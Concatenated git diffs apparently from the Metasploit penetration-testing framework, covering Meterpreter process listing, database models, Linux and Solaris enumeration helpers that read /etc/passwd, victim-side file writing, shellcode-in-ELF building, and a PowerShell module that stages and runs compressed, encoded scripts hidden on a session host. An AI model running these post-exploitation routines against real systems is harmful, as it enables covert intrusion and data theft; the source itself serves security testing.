ps_addresult(response, atoi(entry->d_name), info.ppid, process_name, cmdline, username, 0);
// at least 1 process found, return ERROR_SUCCESS;
result = ERROR_SUCCESS;
} // end is_process_dir
} // end while readdir
closedir(dir);
}
if (user_list) {
if(user_list->list)
free(user_list->list);
free(user_list);
}
return result;
}
#endif
/*
* Add the details of a process to the response.
*/
VOID ps_addresult( Packet * response, DWORD dwPid, DWORD dwParentPid, char * cpExeName, char * cpExePath, char * cpUserName, DWORD dwProcessArch )
{
Tlv entries[7] = {0};
DWORD dwSessionId = 0;
do
{
if( !response )
break;
#ifdef _WIN32
dwSessionId = session_id( dwPid );
#else
dwSessionId = 0;
#endif
dwPid = htonl( dwPid );
entries[0].header.type = TLV_TYPE_PID;
entries[0].header.length = sizeof( DWORD );
entries[0].buffer = (PUCHAR)&dwPid;
if( !cpExeName )
cpExeName = "";
entries[1].header.type = TLV_TYPE_PROCESS_NAME;
entries[1].header.length = (DWORD)strlen( cpExeName ) + 1;
entries[1].buffer = cpExeName;
if( !cpExePath )
cpExePath = "";
entries[2].header.type = TLV_TYPE_PROCESS_PATH;
entries[2].header.length = (DWORD)strlen( cpExePath ) + 1;
entries[2].buffer = cpExePath;
if( !cpUserName )
cpUserName = "";
entries[3].header.type = TLV_TYPE_USER_NAME;
entries[3].header.length = (DWORD)strlen( cpUserName ) + 1;
entries[3].buffer = cpUserName;
dwProcessArch = htonl( dwProcessArch );
entries[4].header.type = TLV_TYPE_PROCESS_ARCH;
entries[4].header.length = sizeof( DWORD );
entries[4].buffer = (PUCHAR)&dwProcessArch;
dwParentPid = htonl( dwParentPid );
entries[5].header.type = TLV_TYPE_PARENT_PID;
entries[5].header.length = sizeof( DWORD );
entries[5].buffer = (PUCHAR)&dwParentPid;
dwSessionId = htonl( dwSessionId );
entries[6].header.type = TLV_TYPE_PROCESS_SESSION;
entries[6].header.length = sizeof( DWORD );
entries[6].buffer = (PUCHAR)&dwSessionId;
packet_add_tlv_group( response, TLV_TYPE_PROCESS_GROUP, entries, 7 );
} while(0);
}

View File

@ -1,9 +1,12 @@
//===============================================================================================//
#ifndef _METERPRETER_SOURCE_EXTENSION_STDAPI_STDAPI_SERVER_PROCESS_PS_H
#ifndef _METERPRETER_SOURCE_EXTENSION_STDAPI_STDAPI_SERVER_PROCESS_PS_H
#define _METERPRETER_SOURCE_EXTENSION_STDAPI_STDAPI_SERVER_PROCESS_PS_H
//===============================================================================================//
#ifdef _WIN32
VOID ps_addresult( Packet * response, DWORD dwPid, DWORD dwParentPid, char * cpExeName, char * cpExePath, char * cpUserName, DWORD dwProcessArch );
#ifdef _WIN32
typedef DWORD (WINAPI * GETMODULEFILENAMEEXA)( HANDLE hProcess, HMODULE hModule, LPTSTR lpExeName, DWORD dwSize );
typedef DWORD (WINAPI * GETPROCESSIMAGEFILENAMEA)( HANDLE hProcess, LPTSTR lpExeName, DWORD dwSize );
@ -77,7 +80,11 @@ DWORD ps_list_via_psapi( Packet * response );
DWORD ps_list_via_brute( Packet * response );
//===============================================================================================//
#else // linux
DWORD ps_list_linux( Packet * response );
#endif // _WIN32
#endif
//===============================================================================================//
//===============================================================================================//

View File

@ -836,8 +836,9 @@ void address_calculate_netmask(struct iface_address *address, int ifa_prefixlen)
if (address->family == AF_INET6) {
// if netmask is FFFFFFFF FFFFFFFF 00000000 00000000 (/64), netmask6.a1 and netmask6.a2 == 0xffffffff, and nestmask6.a3 and .a4 == 0
// netmask6 is set to 0 at the beginning of the function, no need to reset the values to 0 if it is needed
// netmask6 is no longer set to 0 at the beginning of the function, need to reset the values to 0
// XXX really ugly, but works
memset(&address->nm.netmask6, 0, sizeof(__u128));
if (ifa_prefixlen >= 96) {
address->nm.netmask6.a4 = (1 << (ifa_prefixlen-96))-1;
address->nm.netmask6.a1 = address->nm.netmask6.a2 = address->nm.netmask6.a3 = 0xffffffff;

View File

@ -1,6 +1,7 @@
#include <dlfcn.h>
#include "metsrv.h"
extern Command *extension_commands;
DWORD
request_core_loadlib(Remote *remote, Packet *packet)
@ -12,7 +13,9 @@ request_core_loadlib(Remote *remote, Packet *packet)
DWORD flags = 0;
PCHAR targetPath;
int local_error = 0;
Command *command;
Command *first = extension_commands;
do
{
Tlv dataTlv;
@ -64,6 +67,11 @@ request_core_loadlib(Remote *remote, Packet *packet)
dprintf("calling InitServerExtension");
res = init(remote);
}
if (response) {
for (command = extension_commands; command != first; command = command->next) {
packet_add_tlv_string(response, TLV_TYPE_METHOD, command->method);
}
}
}
} while (0);

View File

@ -5,6 +5,8 @@ extern HINSTANCE hAppInstance;
// see remote_dispatch_common.c
extern LIST * extension_list;
// see common/base.c
extern Command *extension_commands;
DWORD request_core_loadlib(Remote *remote, Packet *packet)
{
@ -15,6 +17,9 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
DWORD flags = 0;
BOOL bLibLoadedReflectivly = FALSE;
Command *first = extension_commands;
Command *command;
do
{
libraryPath = packet_get_tlv_value_string(packet,
@ -124,6 +129,11 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
free( extension );
}
dprintf("[SERVER] Called init()...");
if (response) {
for (command = extension_commands; command != first; command = command->next) {
packet_add_tlv_string(response, TLV_TYPE_METHOD, command->method);
}
}
}
}

View File

@ -39,6 +39,7 @@ objects = \
server/sys/config/config.o \
server/sys/process/linux-in-mem-exe.o \
server/sys/process/process.o \
server/sys/process/ps.o \
all: ext_server_stdapi.so

View File

@ -98,10 +98,8 @@ module MetasploitDataModels::ActiveRecordModels::Host
# Note that we're already restricting the query to this host by using
# host.notes instead of Note, so don't need a host_id in the
# conditions.
fingers = host.notes.find(:all,
:conditions => [ "ntype like '%%fingerprint'" ]
)
fingers.each do |fp|
fingerprintable_notes = self.notes.where("ntype like '%%fingerprint'")
fingerprintable_notes.each do |fp|
next if not validate_fingerprint_data(fp)
norm = normalize_scanner_fp(fp)
wvers[norm[:os_sp]] = wvers[norm[:os_sp]].to_i + (100 * norm[:certainty])
@ -124,8 +122,9 @@ module MetasploitDataModels::ActiveRecordModels::Host
# has an opinion and which doesn't. It would also be nice to
# identify "impossible" combinations of services and alert that
# something funny is going on.
host.services.each do |s|
next if not s.info
# XXX: This hack solves the memory leak generated by self.services.each {}
fingerprintable_services = self.services.where("name is not null and name != '' and info is not null and info != ''")
fingerprintable_services.each do |s|
points = 0
case s.name
when 'smb'

View File

@ -10,6 +10,15 @@ module MetasploitDataModels::ActiveRecordModels::Loot
before_destroy :delete_file
scope :search, lambda { |*args|
where(["loots.ltype ILIKE ? OR " +
"loots.name ILIKE ? OR " +
"loots.info ILIKE ? OR " +
"loots.data ILIKE ?",
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%"
])
}
private
def delete_file

View File

@ -10,6 +10,13 @@ module MetasploitDataModels::ActiveRecordModels::Note
scope :flagged, where('critical = true AND seen = false')
scope :visible, where(notes[:ntype].not_in(['web.form', 'web.url', 'web.vuln']))
scope :search, lambda { |*args|
where(["(data NOT ILIKE 'BAh7%' AND data LIKE ?)" +
"OR (data ILIKE 'BAh7%' AND decode(data, 'base64') LIKE ?)" +
"OR ntype ILIKE ?",
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%"
])
}
after_save :normalize

View File

@ -23,8 +23,9 @@ module MetasploitDataModels::ActiveRecordModels::Service
where([
"services.name ILIKE ? OR " +
"services.info ILIKE ? OR " +
"services.proto ILIKE ? OR " +
"services.port = ? ",
"%#{args[0]}%", "%#{args[0]}%", (args[0].to_i > 0) ? args[0].to_i : 99999
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%", (args[0].to_i > 0) ? args[0].to_i : 99999
])
}

View File

@ -10,10 +10,16 @@ module MetasploitDataModels::ActiveRecordModels::Session
scope :alive, where("closed_at IS NULL")
scope :dead, where("closed_at IS NOT NULL")
scope :upgradeable, where("closed_at IS NULL AND stype = 'shell' and platform ILIKE '%win%'")
serialize :datastore, ::MetasploitDataModels::Base64Serializer.new
before_destroy :stop
def upgradeable?
(self.platform =~ /win/ and self.stype == 'shell')
end
private
@ -21,6 +27,7 @@ module MetasploitDataModels::ActiveRecordModels::Session
c = Pro::Client.get rescue nil
c.session_stop(self.local_id) rescue nil # ignore exceptions (XXX - ideally, stopped an already-stopped session wouldn't throw XMLRPCException)
end
}
end
end

View File

@ -10,6 +10,13 @@ module MetasploitDataModels::ActiveRecordModels::Vuln
after_update :save_refs
scope :search, lambda { |*args|
where(["(vulns.name ILIKE ? or vulns.info ILIKE ? or refs.name ILIKE ?)",
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%"
]).
joins("LEFT OUTER JOIN vulns_refs ON vulns_refs.vuln_id=vulns.id LEFT OUTER JOIN refs ON refs.id=vulns_refs.ref_id")
}
private
def save_refs

View File

@ -6,14 +6,14 @@ Gem::Specification.new do |s|
s.required_rubygems_version = Gem::Requirement.new("> 1.3.1") if s.respond_to? :required_rubygems_version=
s.authors = ["Trevor Rosen"]
s.date = "2012-04-24"
s.date = "2012-05-18"
s.description = "Implements minimal ActiveRecord models and database helper code used in both the Metasploit Framework (MSF) and Metasploit commercial editions."
s.email = ["trevor_rosen@rapid7.com"]
s.executables = ["mdm_console"]
s.files = ["bin/mdm_console"]
s.homepage = ""
s.require_paths = ["lib"]
s.rubygems_version = "1.8.21"
s.rubygems_version = "1.8.15"
s.summary = "Database code for MSF and Metasploit Pro"
if s.respond_to? :specification_version then

View File

@ -165,13 +165,7 @@ class ReadableText
output << "\n"
# References
if (mod.references.length > 0)
output << "References:\n"
mod.references.each { |ref|
output << indent + ref.to_s + "\n"
}
output << "\n"
end
output << dump_references(mod, indent)
return output
@ -209,13 +203,7 @@ class ReadableText
output << "\n"
# References
if (mod.references.length > 0)
output << "References:\n"
mod.references.each { |ref|
output << indent + ref.to_s + "\n"
}
output << "\n"
end
output << dump_references(mod, indent)
return output
end
@ -282,7 +270,11 @@ class ReadableText
# Description
output << "Description:\n"
output << word_wrap(Rex::Text.compress(mod.description))
output << "\n\n"
output << "\n"
output << dump_references(mod, indent)
output << "\n"
return output
@ -369,6 +361,20 @@ class ReadableText
return output
end
def self.dump_references(mod, indent = '')
output = ''
if (mod.respond_to? :references and mod.references and mod.references.length > 0)
output << "References:\n"
mod.references.each { |ref|
output << indent + ref.to_s + "\n"
}
output << "\n"
end
output
end
#
# Dumps the contents of a datastore.
#

View File

@ -173,7 +173,7 @@ module Exploit::Remote::MYSQL
print_error "Cannot determine target's architecture"
return false
else
print_error "Target is an incompatible architecture: #{res}"
print_error "Target is an incompatible architecture: #{arch}"
return false
end
end

View File

@ -212,7 +212,7 @@ protected
return nil
end
data = ''
data = fd.read
begin
until fd.eof?
data << fd.read
@ -247,77 +247,83 @@ protected
chunks = []
command = nil
encoding = :hex
line_max = _unix_max_line_length
# Leave plenty of room for the filename we're writing to and the
# command to echo it out
line_max -= file_name.length - 64
# Default to simple echo. If the data is binary, though, we have to do
# something fancy
if d =~ /[^[:print:]]/
# Ordered by descending likeliness to work
[
%q^perl -e 'print("\x41")'^,
# POSIX awk doesn't have \xNN escapes, use gawk to ensure we're
# getting the GNU version.
%q^gawk 'BEGIN {ORS = ""; print "\x41"}' </dev/null^,
# bash and zsh's echo builtins are apparently the only ones
# that support both -e and -n as we need them. Most others
# treat all options as just more arguments to print. In
# particular, the standalone /bin/echo or /usr/bin/echo appear
# never to have -e so don't bother trying them.
%q^echo -ne '\x41'^,
# printf seems to have different behavior on bash vs sh vs
# other shells, try a full path (and hope it's the actual path)
%q^/usr/bin/printf '\x41'^,
%q^printf '\x41'^,
].each { |c|
a = session.shell_command_token("#{c}")
if "A" == a
command = c
break
#else
# p a
end
}
# Ordered by descending likeliness to work
[
# POSIX standard requires %b which expands octal (but not hex)
# escapes in the argument. However, some versions truncate input on
# nulls, so "printf %b '\0\101'" produces a 0-length string. The
# standalon version seems to be more likely to work than the buitin
# version, so try it first
{ :cmd => %q^/usr/bin/printf %b 'CONTENTS'^ , :enc => :octal },
{ :cmd => %q^printf %b 'CONTENTS'^ , :enc => :octal },
# Perl supports both octal and hex escapes, but octal is usually
# shorter (e.g. 0 becomes \0 instead of \x00)
{ :cmd => %q^perl -e 'print("CONTENTS")'^ , :enc => :octal },
# POSIX awk doesn't have \xNN escapes, use gawk to ensure we're
# getting the GNU version.
{ :cmd => %q^gawk 'BEGIN {ORS = ""; print "CONTENTS"}' </dev/null^ , :enc => :hex },
# Use echo as a last resort since it frequently doesn't support -e
# or -n. bash and zsh's echo builtins are apparently the only ones
# that support both. Most others treat all options as just more
# arguments to print. In particular, the standalone /bin/echo or
# /usr/bin/echo appear never to have -e so don't bother trying
# them.
{ :cmd => %q^echo -ne 'CONTENTS'^ , :enc => :hex },
].each { |foo|
# Some versions of printf mangle %.
test_str = "\0\xff\xfeABCD\x7f%%\r\n"
if foo[:enc] == :hex
cmd = foo[:cmd].sub("CONTENTS"){ Rex::Text.to_hex(test_str) }
else
cmd = foo[:cmd].sub("CONTENTS"){ Rex::Text.to_octal(test_str) }
end
a = session.shell_command_token("#{cmd}")
if test_str == a
command = foo[:cmd]
encoding = foo[:enc]
break
else
p a
end
}
if command.nil?
raise RuntimeError, "Can't find command on the victim for writing binary data", caller
end
# each byte will balloon up to 4 when we hex encode
max = line_max/4
i = 0
while (i < d.length)
chunks << Rex::Text.to_hex(d.slice(i...(i+max)))
i += max
end
else
i = 0
while (i < d.length)
chunk = d.slice(i...(i+line_max))
# POSIX standard says single quotes cannot appear inside single
# quotes and can't be escaped. Replace them with an equivalent.
# (Close single quotes, open double quotes containing a single
# quote, re-open single qutoes)
chunk.gsub!("'", %q|'"'"'|)
chunks << chunk
i += line_max
end
command = "echo -n '\\x41'"
if command.nil?
raise RuntimeError, "Can't find command on the victim for writing binary data", caller
end
vprint_status("Writing #{d.length} bytes in #{chunks.length} chunks, using #{command.split(" ",2).first}")
# each byte will balloon up to 4 when we encode
# (A becomes \x41 or \101)
max = line_max/4
i = 0
while (i < d.length)
if encoding == :hex
chunks << Rex::Text.to_hex(d.slice(i...(i+max)))
else
chunks << Rex::Text.to_octal(d.slice(i...(i+max)))
end
i += max
end
vprint_status("Writing #{d.length} bytes in #{chunks.length} chunks of #{chunks.first.length} bytes (#{encoding}-encoded), using #{command.split(" ",2).first}")
# The first command needs to use the provided redirection for either
# appending or truncating.
cmd = command.sub("\\x41", chunks.shift)
cmd = command.sub("CONTENTS") { chunks.shift }
session.shell_command_token("#{cmd} #{redirect} '#{file_name}'")
# After creating/truncating or appending with the first command, we
# need to append from here on out.
chunks.each { |chunk|
cmd = command.sub("\\x41", chunk)
vprint_status("Next chunk is #{chunk.length} bytes")
cmd = command.sub("CONTENTS") { chunk }
session.shell_command_token("#{cmd} >> '#{file_name}'")
}
@ -336,7 +342,11 @@ protected
i=`expr $i + 1`; str=$str$str;\
done; echo $max'
line_max = session.shell_command_token(calc_line_max).to_i
# Fall back to a conservative 4k which should work on even the most
# restrictive of embedded shells.
line_max = (line_max == 0 ? 4096 : line_max)
vprint_status("Max line length is #{line_max}")
line_max
end

View File

@ -1,150 +1,98 @@
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/unix'
module Msf
class Post
module Linux
module System
include ::Msf::Post::Common
include ::Msf::Post::File
include ::Msf::Post::File
# Returns a Hash containing Distribution Name, Version and Kernel Information
def get_sysinfo
system_data = {}
etc_files = cmd_exec("ls /etc").split()
include ::Msf::Post::Unix
# Debian
if etc_files.include?("debian_version")
kernel_version = cmd_exec("uname -a")
if kernel_version =~ /Ubuntu/
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'')
system_data[:distro] = "ubuntu"
system_data[:version] = version
system_data[:kernel] = kernel_version
else
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'')
system_data[:distro] = "debian"
system_data[:version] = version
system_data[:kernel] = kernel_version
end
# Returns a Hash containing Distribution Name, Version and Kernel Information
def get_sysinfo
system_data = {}
etc_files = cmd_exec("ls /etc").split()
# Amazon
elsif etc_files.include?("system-release")
kernel_version = cmd_exec("uname -a")
version = read_file("/etc/system-release").gsub(/\n|\\n|\\l/,'')
system_data[:distro] = "amazon"
system_data[:version] = version
system_data[:kernel] = kernel_version
kernel_version = cmd_exec("uname -a")
system_data[:kernel] = kernel_version
# Fedora
elsif etc_files.include?("fedora-release")
kernel_version = cmd_exec("uname -a")
version = read_file("/etc/fedora-release").gsub(/\n|\\n|\\l/,'')
system_data[:distro] = "fedora"
system_data[:version] = version
system_data[:kernel] = kernel_version
# Oracle Linux
elsif etc_files.include?("enterprise-release")
kernel_version = cmd_exec("uname -a")
version = read_file("/etc/enterprise-release").gsub(/\n|\\n|\\l/,'')
system_data[:distro] = "oracle"
system_data[:version] = version
system_data[:kernel] = kernel_version
# RedHat
elsif etc_files.include?("redhat-release")
kernel_version = cmd_exec("uname -a")
version = read_file("/etc/redhat-release").gsub(/\n|\\n|\\l/,'')
system_data[:distro] = "redhat"
system_data[:version] = version
system_data[:kernel] = kernel_version
# Arch
elsif etc_files.include?("arch-release")
kernel_version = cmd_exec("uname -a")
version = read_file("/etc/arch-release").gsub(/\n|\\n|\\l/,'')
system_data[:distro] = "arch"
system_data[:version] = version
system_data[:kernel] = kernel_version
# Slackware
elsif etc_files.include?("slackware-version")
kernel_version = cmd_exec("uname -a")
version = read_file("/etc/slackware-version").gsub(/\n|\\n|\\l/,'')
system_data[:distro] = "slackware"
system_data[:version] = version
system_data[:kernel] = kernel_version
# Mandrake
elsif etc_files.include?("mandrake-release")
kernel_version = cmd_exec("uname -a")
version = read_file("/etc/mandrake-release").gsub(/\n|\\n|\\l/,'')
system_data[:distro] = "mandrake"
system_data[:version] = version
system_data[:kernel] = kernel_version
#SuSE
elsif etc_files.include?("SuSE-release")
kernel_version = cmd_exec("uname -a")
version = read_file("/etc/SuSE-release").gsub(/\n|\\n|\\l/,'')
system_data[:distro] = "suse"
system_data[:version] = version
system_data[:kernel] = kernel_version
# Gentoo
elsif etc_files.include?("gentoo-release")
kernel_version = cmd_exec("uname -a")
version = read_file("/etc/gentoo-release").gsub(/\n|\\n|\\l/,'')
system_data[:distro] = "gentoo"
system_data[:version] = version
system_data[:kernel] = kernel_version
else
# Others
kernel_version = cmd_exec("uname -a")
# Debian
if etc_files.include?("debian_version")
if kernel_version =~ /Ubuntu/
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'')
system_data[:distro] = "linux"
system_data[:distro] = "ubuntu"
system_data[:version] = version
else
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'')
system_data[:distro] = "debian"
system_data[:version] = version
system_data[:kernel] = kernel_version
end
return system_data
end
# Returns an array of hashes each representing a user
# Keys are name, uid, gid, info, dir and shell
def get_users
users = []
cmd_out = cmd_exec("cat /etc/passwd").split("\n")
cmd_out.each do |l|
entry = {}
user_field = l.split(":")
entry[:name] = user_field[0]
entry[:uid] = user_field[2]
entry[:gid] = user_field[3]
entry[:info] = user_field[4]
entry[:dir] = user_field[5]
entry[:shell] = user_field[6]
users << entry
end
return users
end
# Amazon
elsif etc_files.include?("system-release")
version = read_file("/etc/system-release").gsub(/\n|\\n|\\l/,'')
system_data[:distro] = "amazon"
system_data[:version] = version
# Returns an array of hashes each hash representing a user group
# Keys are name, gid and users
def get_groups
groups = []
cmd_out = cmd_exec("cat /etc/group").split("\n")
cmd_out.each do |l|
entry = {}
user_field = l.split(":")
entry[:name] = user_field[0]
entry[:gid] = user_field[2]
entry[:users] = user_field[3]
groups << entry
end
return groups
# Fedora
elsif etc_files.include?("fedora-release")
version = read_file("/etc/fedora-release").gsub(/\n|\\n|\\l/,'')
system_data[:distro] = "fedora"
system_data[:version] = version
# Oracle Linux
elsif etc_files.include?("enterprise-release")
version = read_file("/etc/enterprise-release").gsub(/\n|\\n|\\l/,'')
system_data[:distro] = "oracle"
system_data[:version] = version
# RedHat
elsif etc_files.include?("redhat-release")
version = read_file("/etc/redhat-release").gsub(/\n|\\n|\\l/,'')
system_data[:distro] = "redhat"
system_data[:version] = version
# Arch
elsif etc_files.include?("arch-release")
version = read_file("/etc/arch-release").gsub(/\n|\\n|\\l/,'')
system_data[:distro] = "arch"
system_data[:version] = version
# Slackware
elsif etc_files.include?("slackware-version")
version = read_file("/etc/slackware-version").gsub(/\n|\\n|\\l/,'')
system_data[:distro] = "slackware"
system_data[:version] = version
# Mandrake
elsif etc_files.include?("mandrake-release")
version = read_file("/etc/mandrake-release").gsub(/\n|\\n|\\l/,'')
system_data[:distro] = "mandrake"
system_data[:version] = version
#SuSE
elsif etc_files.include?("SuSE-release")
version = read_file("/etc/SuSE-release").gsub(/\n|\\n|\\l/,'')
system_data[:distro] = "suse"
system_data[:version] = version
# Gentoo
elsif etc_files.include?("gentoo-release")
version = read_file("/etc/gentoo-release").gsub(/\n|\\n|\\l/,'')
system_data[:distro] = "gentoo"
system_data[:version] = version
else
# Others
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'')
system_data[:distro] = "linux"
system_data[:version] = version
end
return system_data
end
end # System

View File

@ -1,59 +1,29 @@
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/unix'
module Msf
class Post
module Solaris
module System
include ::Msf::Post::Common
include ::Msf::Post::File
include ::Msf::Post::File
# Returns a Hash containing Distribution Name, Version and Kernel Information
def get_sysinfo
system_data = {}
kernel_version = cmd_exec("uname -a")
version = read_file("/etc/release").split("\n")[0].strip
system_data[:version] = version
system_data[:kernel] = kernel_version
system_data[:hostname] = kernel_version.split(" ")[1]
return system_data
end
# Returns an array of hashes each representing a user
# Keys are name, uid, gid, info, dir and shell
def get_users
users = []
cmd_out = cmd_exec("cat /etc/passwd").split("\n")
cmd_out.each do |l|
entry = {}
user_field = l.split(":")
entry[:name] = user_field[0]
entry[:uid] = user_field[2]
entry[:gid] = user_field[3]
entry[:info] = user_field[4]
entry[:dir] = user_field[5]
entry[:shell] = user_field[6]
users << entry
end
return users
end
# Returns an array of hashes each hash representing a user group
# Keys are name, gid and users
def get_groups
groups = []
cmd_out = cmd_exec("cat /etc/group").split("\n")
cmd_out.each do |l|
entry = {}
user_field = l.split(":")
entry[:name] = user_field[0]
entry[:gid] = user_field[2]
entry[:users] = user_field[3]
groups << entry
end
return groups
end
include ::Msf::Post::Unix
#
# Returns a Hash containing Distribution Name, Version and Kernel
# Information
#
def get_sysinfo
system_data = {}
kernel_version = cmd_exec("uname -a")
version = read_file("/etc/release").split("\n")[0].strip
system_data[:version] = version
system_data[:kernel] = kernel_version
system_data[:hostname] = kernel_version.split(" ")[1]
return system_data
end
end # System
end # Solaris

View File

@ -0,0 +1,209 @@
require 'zlib'
require 'msf/core/post/common'
module Msf
class Post
module Windows
module Powershell
include ::Msf::Post::Common
# List of running processes, open channels, and env variables...
# Suffix for environment variables
def have_powershell?
cmd_out = cmd_exec("powershell get-host")
return true if cmd_out =~ /Name.*Version.*InstanceID/
return false
end
def make_subs(script, subs)
subs.each do |set|
script.gsub!(set[0],set[1])
end
if datastore['VERBOSE']
print_good("Final Script: ")
script.each_line {|l| print_status("\t#{l}")}
end
end
def process_subs(subs)
return [] if subs.nil? or subs.empty?
new_subs = []
subs.split(';').each do |set|
new_subs << set.split(',', 2)
end
return new_subs
end
def read_script(script)
script_in = ''
begin
# Open script file for reading
fd = ::File.new(script, 'r')
while (line = fd.gets)
script_in << line
end
# Close open file
fd.close()
rescue Errno::ENAMETOOLONG, Errno::ENOENT
# Treat script as a... script
script_in = script
end
return script_in
end
def compress_script(script_in, eof = nil)
# Compress using the Deflate algorithm
compressed_stream = ::Zlib::Deflate.deflate(script_in,
::Zlib::BEST_COMPRESSION)
# Base64 encode the compressed file contents
encoded_stream = Rex::Text.encode_base64(compressed_stream)
# Build the powershell expression
# Decode base64 encoded command and create a stream object
psh_expression = "$stream = New-Object IO.MemoryStream(,"
psh_expression += "$([Convert]::FromBase64String('#{encoded_stream}')));"
# Read & delete the first two bytes due to incompatibility with MS
psh_expression += "$stream.ReadByte()|Out-Null;"
psh_expression += "$stream.ReadByte()|Out-Null;"
# Uncompress and invoke the expression (execute)
psh_expression += "$(Invoke-Expression $(New-Object IO.StreamReader("
psh_expression += "$(New-Object IO.Compression.DeflateStream("
psh_expression += "$stream,"
psh_expression += "[IO.Compression.CompressionMode]::Decompress)),"
psh_expression += "[Text.Encoding]::ASCII)).ReadToEnd());"
# If eof is set, add a marker to signify end of script output
if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
# Convert expression to unicode
unicode_expression = Rex::Text.to_unicode(psh_expression)
# Base64 encode the unicode expression
encoded_expression = Rex::Text.encode_base64(unicode_expression)
return encoded_expression
end
def execute_script(script, time_out = 15)
running_pids, open_channels = [], []
# Execute using -EncodedCommand
session.response_timeout = time_out
cmd_out = session.sys.process.execute("powershell -EncodedCommand " +
"#{script}", nil, {'Hidden' => true, 'Channelized' => true})
# Add to list of running processes
running_pids << cmd_out.pid
# Add to list of open channels
open_channels << cmd_out
return [cmd_out, running_pids, open_channels]
end
def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
# Check to ensure script is encoded and compressed
if compressed_script =~ /\s|\.|\;/
compressed_script = compress_script(compressed_script)
end
# Divide the encoded script into 8000 byte chunks and iterate
index = 0
count = 8000
while (index < compressed_script.size - 1)
# Define random, but serialized variable name
env_prefix = "%05d" % ((index + 8000)/8000)
env_variable = env_prefix + env_suffix
# Create chunk
chunk = compressed_script[index, count]
# Build the set commands
set_env_variable = "[Environment]::SetEnvironmentVariable("
set_env_variable += "'#{env_variable}',"
set_env_variable += "'#{chunk}', 'User')"
# Compress and encode the set command
encoded_stager = compress_script(set_env_variable)
# Stage the payload
print_good(" - Bytes remaining: #{compressed_script.size - index}")
execute_script(encoded_stager)
# Increment index
index += count
end
# Build the script reassembler
reassemble_command = "[Environment]::GetEnvironmentVariables('User').keys|"
reassemble_command += "Select-String #{env_suffix}|Sort-Object|%{"
reassemble_command += "$c+=[Environment]::GetEnvironmentVariable($_,'User')"
reassemble_command += "};Invoke-Expression $($([Text.Encoding]::Unicode."
reassemble_command += "GetString($([Convert]::FromBase64String($c)))))"
# Compress and encode the reassemble command
encoded_script = compress_script(reassemble_command)
return encoded_script
end
def write_to_log(cmd_out, log_file, eof)
# Open log file for writing
fd = ::File.new(log_file, 'w+')
# Read output until eof and write to log
while (line = cmd_out.channel.read())
if (line.sub!(/#{eof}/, ''))
fd.write(line)
vprint_good("\t#{line}")
cmd_out.channel.close()
break
end
fd.write(line)
vprint_good("\t#{line}")
end
# Close log file
fd.close()
return
end
def clean_up(script_file = nil, eof = '', running_pids =[], open_channels = [], env_suffix = Rex::Text.rand_text_alpha(8), delete = false)
# Remove environment variables
env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|"
env_del_command += "Select-String #{env_suffix}|%{"
env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}"
script = compress_script(env_del_command, eof)
cmd_out, running_pids, open_channels = *execute_script(script)
write_to_log(cmd_out, "/dev/null", eof)
# Kill running processes
running_pids.each() do |pid|
session.sys.process.kill(pid)
end
# Close open channels
open_channels.each() do |chan|
chan.channel.close()
end
::File.delete(script_file) if (script_file and delete)
return
end
end; end; end; end

View File

@ -140,7 +140,7 @@ class Exploit
end
if not payload
payload = exploit_choose_payload(mod, target)
payload = Exploit.choose_payload(mod, target)
end
begin
@ -236,7 +236,7 @@ class Exploit
#
# Picks a reasonable payload and minimally configures it
#
def exploit_choose_payload(mod, target)
def self.choose_payload(mod, target)
# Choose either the real target or an invalid address
# This is used to determine the LHOST value

View File

@ -1,5 +1,5 @@
##
# $Id$
# $Id: exe.rb 14286 2011-11-20 01:41:04Z rapid7 $
##
###
@ -84,6 +84,14 @@ require 'digest/sha1'
return to_osx_x86_macho(framework, code)
end
if(plat.index(Msf::Module::Platform::BSD))
return to_bsd_x86_elf(framework, code)
end
if(plat.index(Msf::Module::Platform::Solaris))
return to_solaris_x86_elf(framework, code)
end
# XXX: Add remaining x86 systems here
end
@ -595,42 +603,17 @@ require 'digest/sha1'
return macho
end
#
# Create a 64-bit Linux ELF containing the payload provided in +code+
#
def self.to_linux_x64_elf(framework, code, opts={})
set_template_default(opts, "template_x64_linux.bin")
elf = ''
File.open(opts[:template], "rb") { |fd|
elf = fd.read(fd.stat.size)
}
#Append shellcode
elf << code
#Modify size
elf[96, 8] = [120 + code.length].pack('Q') #p_filesz
elf[104,8] = [120 + code.length].pack('Q') #p_memsz
return elf
end
#
# Create a 32-bit Linux ELF containing the payload provided in +code+
#
# For the default template, this method just appends the payload. For
# user-provided templates, modifies the header to mark all executable
# Create an ELF executable containing the payload provided in +code+
# For the default template, this method just appends the payload, checks if
# the template is 32 or 64 bit and adjusts the offsets accordingly
# For user-provided templates, modifies the header to mark all executable
# segments as writable and overwrites the entrypoint (usually _start) with
# the payload.
#
def self.to_linux_x86_elf(framework, code, opts={})
unless opts[:template]
default = true
end
def self.to_exe_elf(framework, opts, template, code)
# Allow the user to specify their own template
set_template_default(opts, "template_x86_linux.bin")
set_template_default(opts, template)
# The old way to do it is like other formats, just overwrite a big
# block of rwx mem with our shellcode.
@ -638,18 +621,40 @@ require 'digest/sha1'
#co = elf.index( " " * 512 )
#elf[bo, 2048] = [code].pack('a2048') if bo
if default
# The new template is just an ELF header with its entry point set to
# the end of the file, so just append shellcode to it and fixup
# p_filesz and p_memsz in the header for a working ELF executable.
elf = ''
File.open(opts[:template], "rb") { |fd|
elf = fd.read(fd.stat.size)
}
# The new template is just an ELF header with its entry point set to
# the end of the file, so just append shellcode to it and fixup
# p_filesz and p_memsz in the header for a working ELF executable.
elf = ''
File.open(opts[:template], "rb") { |fd|
elf = fd.read(fd.stat.size)
}
elf << code
